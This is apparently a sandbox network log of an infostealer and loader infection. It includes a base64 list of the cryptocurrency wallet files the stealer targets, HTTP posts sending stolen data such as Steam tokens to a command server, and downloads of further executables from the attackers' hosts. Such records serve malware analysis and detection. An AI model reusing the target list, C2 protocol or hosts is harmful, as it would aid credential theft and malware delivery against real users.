Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 25, 2024 03:39:59.871063948 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFIEHCFIECBGCBFHIJJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="message"files------FCFIEHCFIECBGCBFHIJJ--
Nov 25, 2024 03:40:00.333455086 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 03:40:00.347577095 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="file"------BAECFHJEBAAFIEBGHIIE--
Nov 25, 2024 03:40:01.303567886 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 03:40:01.338936090 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="message"ybncbhylepme------CGIDAAAKJJDBGCBFCBGI--
Nov 25, 2024 03:40:01.801831961 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49841	185.215.113.16	80	1548	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:40:01.939245939 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 25, 2024 03:40:03.328984976 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 02:40:03 GMT Content-Type: application/octet-stream Content-Length: 1950208 Last-Modified: Mon, 25 Nov 2024 02:17:49 GMT Connection: keep-alive ETag: "6743de4d-1dc200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@ MX@WkDL@L @.rsrcD@.idata @ +@cmeqxuop02@caylklxgL@.taggant0L"@
Nov 25, 2024 03:40:03.329035044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 03:40:03.329047918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 03:40:03.329099894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 03:40:03.329112053 CET	1236	IN	Data Raw: 9c 84 39 57 4d 32 6a 21 ee 65 4d 53 91 69 cb bd 3e 11 b2 12 c7 bf 78 c5 5f df d4 77 5c 43 c9 a2 00 87 5c cc fd 47 45 97 59 4e 2d 95 dd 60 3c bb ad 4f 89 d7 a9 6d f8 41 ff 50 b9 26 57 b2 c9 c1 dd c3 1d 86 75 0e ee c2 4f 92 c7 94 1d 50 01 89 4e ee Data Ascii: 9WM2j!eMSi>x_w\C\GEYN-`<OmAP&WuOPN"r"K6$J>z_A2iifA/s#saj=JY\Zs~q.={6rkxo/.\Xapo~Z`8[]:fc[E_5\|B6/WvYcs}
Nov 25, 2024 03:40:03.329125881 CET	1236	IN	Data Raw: ec 83 9f 07 2d 9b f9 54 45 a7 8d d8 84 1e 4f dc bd 81 c5 ea 4e c2 6d 5f ce 7c c9 e2 e1 c7 68 97 cd 61 21 8f 1f 27 d2 4d e0 a5 75 8a b6 43 e9 66 31 e2 49 82 57 92 ce 93 35 41 48 4a 5c af 4d a3 fd 83 d3 86 3d d7 83 b5 81 96 ca ee 2d 06 ae 76 d3 e0 Data Ascii: -TEONm_\|ha!'MuCf1IW5AHJ\M=-vn:'WV><STkIwI733wU?x50CdBle77iVL9T`u^5W`1sMFXppD%U_h?45FPF>VuElcY
Nov 25, 2024 03:40:03.329138994 CET	1236	IN	Data Raw: 6a 5a 70 fb 15 58 6d 61 19 4e f2 18 4f 60 91 c4 84 f6 5b b7 c8 d3 96 e7 bc 69 a0 e3 05 51 91 9c 2a 00 7b a8 19 66 bc 75 05 b0 cd 63 fc eb b6 54 eb d7 6f 04 d5 46 4f 88 0e 27 5e 95 7a 33 1c 03 d5 68 33 30 cf eb ad 62 34 e4 31 65 15 74 74 61 89 a3 Data Ascii: jZpXmaNO`[iQ{fucToFO'^z3h30b41ettat!;u?=KvKm.u}0%n@^AaNrB63uQ\K(pseAN6J-8`rk-X3U1C8nQ0'7WwZVHc7-Y~FT
Nov 25, 2024 03:40:03.329152107 CET	1236	IN	Data Raw: 84 29 c7 dc 4f e7 33 88 41 43 25 3f 85 09 f9 7d b5 74 3f 74 0b f7 cb 42 4f c9 45 fa 2f 8e a2 e1 39 4b 9c dd 6b ef 1f 73 b2 eb 65 c7 79 38 06 7b 55 bf d4 4f c0 a5 c6 98 02 be 3d 61 34 06 f1 25 50 91 00 c6 4b c9 e4 db 4e 03 d5 1d 18 6a 96 88 c2 5c Data Ascii: )O3AC%?}t?tBOE/9Kksey8{UO=a4%PKNj\D7`l/Hd[Jxjx$Gcb? tyPYGIOk7tVR{K 8?Ak\|@9X>2a{9F)\Ypu{ciaZKB?z =QO9-RuBJ}
Nov 25, 2024 03:40:03.329199076 CET	1236	IN	Data Raw: e0 23 bc 16 7f fd dc 5f 09 2a ad 6e 8d 60 d1 06 e2 21 08 e9 39 6b 69 1c 90 1f 0e 4c 7a 15 e2 62 6d 47 41 61 31 40 2f 50 3b 00 3a 85 e5 5a 69 5f 16 23 83 bf 6a 7d b1 98 a4 40 3b 5f 53 58 7b a7 11 5e 89 39 66 10 e1 07 96 8d f0 c0 3e cf b0 53 68 1d Data Ascii: #_*n`!9kiLzbmGAa1@/P;:Zi_#j}@;_SX{^9f>ShX2q=RU'R-}q6Y(V[e=B@X#Asr.vGDjtF`sr$63!;7-E@"Cf)9>??C?F2DiS1#\5
Nov 25, 2024 03:40:03.329211950 CET	1236	IN	Data Raw: 44 55 29 cc 4b 91 05 22 5c ed 2a 9a b7 ce 39 b6 91 69 1e af 15 03 b3 23 31 31 cc b8 ae 25 3b 74 7b 24 78 5b 73 09 da d8 4f 49 31 da 33 cf 37 d6 ba 8c 6d 97 59 4f ac 7a ef c8 e3 9a ed 12 0e 3d 02 17 bc 2a 2d 55 cf a7 ad 6e a2 42 75 12 e3 4a 9c 9b Data Ascii: DU)K"\9i#11%;t{$x[sOI137mYOz=-UnBuJm\=m(hTJI7AjGS#k,G^Lm]{2NwM0Q}l]AV]EtMw=u}7g3tnK.8(tL4BE.t11`gP}+D.
Nov 25, 2024 03:40:03.448812008 CET	1236	IN	Data Raw: 25 81 e5 eb 13 89 b1 53 c2 85 a6 67 25 d3 35 73 77 27 4c e0 47 d8 b1 e2 c5 73 f3 7e c1 17 ba ea ad a8 ca 3a 41 63 4d 82 f0 e5 42 24 04 d7 39 0c d5 06 ee da 41 13 3e dd 55 d0 12 7b 3b d3 ff 78 de 9a 5e 85 77 2b f8 77 ce b0 61 e5 87 6b da 06 73 17 Data Ascii: %Sg%5sw'LGs~:AcMB$9A>U{;x^w+waksFkUs*_H~u>GJBFU<<^DKGe$MA0gF^==]\ J$I]\|`wLYaI:mV\?5QR]H1/F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49845	185.215.113.206	80	1548	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:40:07.394542933 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CBFBKFIDHIDGHJKFBGHC--
Nov 25, 2024 03:40:09.269578934 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49931	185.215.113.43	80	8616	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:41:05.144989014 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 25, 2024 03:41:06.531131029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 02:41:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49938	185.215.113.43	80	8616	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:41:08.170381069 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 30 32 46 37 30 42 32 35 38 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B02F70B25882D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 25, 2024 03:41:09.564047098 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 02:41:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 33 33 0d 0a 20 3c 63 3e 31 30 30 38 39 31 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 61 32 38 63 30 31 35 31 35 65 38 30 31 62 34 31 62 31 31 30 33 30 32 39 35 63 63 64 34 33 34 61 61 38 38 39 61 35 35 33 36 65 36 23 31 30 30 38 39 31 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 39 31 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 39 31 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 [TRUNCATED] Data Ascii: 233 <c>1008911001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a28c01515e801b41b11030295ccd434aa889a5536e6#1008916001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008917001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008918001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008919001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008920001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49943	31.41.244.11	80	8616	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 03:41:09.688117981 CET	66	OUT	GET /files/1724962075/7mpPLxE.exe HTTP/1.1 Host: 31.41.244.11
Nov 25, 2024 03:41:11.070549011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 02:41:10 GMT Content-Type: application/octet-stream Content-Length: 1873408 Last-Modified: Mon, 25 Nov 2024 01:48:01 GMT Connection: keep-alive ETag: "6743d751-1c9600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c0 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 c7 42 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?g0J@`JB@\pp `b@.rsrcpr@.idata t@ *v@tjxhgeed 0x@ccdijxqb Jn@.taggant00J"t@
Nov 25, 2024 03:41:11.070580006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 03:41:11.070591927 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 03:41:11.070677996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 03:41:11.070698023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: m&a",rm snshn3
Nov 25, 2024 03:41:11.070709944 CET	1236	IN	Data Raw: 73 6f d8 ee b0 9a 26 e7 22 04 21 6e cd fd 78 4b 77 85 e8 dc 31 0b 0c 43 54 6d 31 28 46 37 9f dc bf a3 34 7e 68 26 79 2d 4d 67 c1 01 b2 7e db 96 e2 20 40 92 d9 4b 50 7a 01 f6 3e ed 01 fd 7e 5c d6 a8 3f 8d 47 6d 7c c5 1a 3b be ce 53 42 62 09 94 99 Data Ascii: so&"!nxKw1CTm1(F74~h&y-Mg~ @KPz>~\?Gm\|;SBbhX-S4Pa<;MHTS*]~+-Uzgn6~~>$MRnnK^2x^jJ&fd\|#)O'Khm%t/Tal
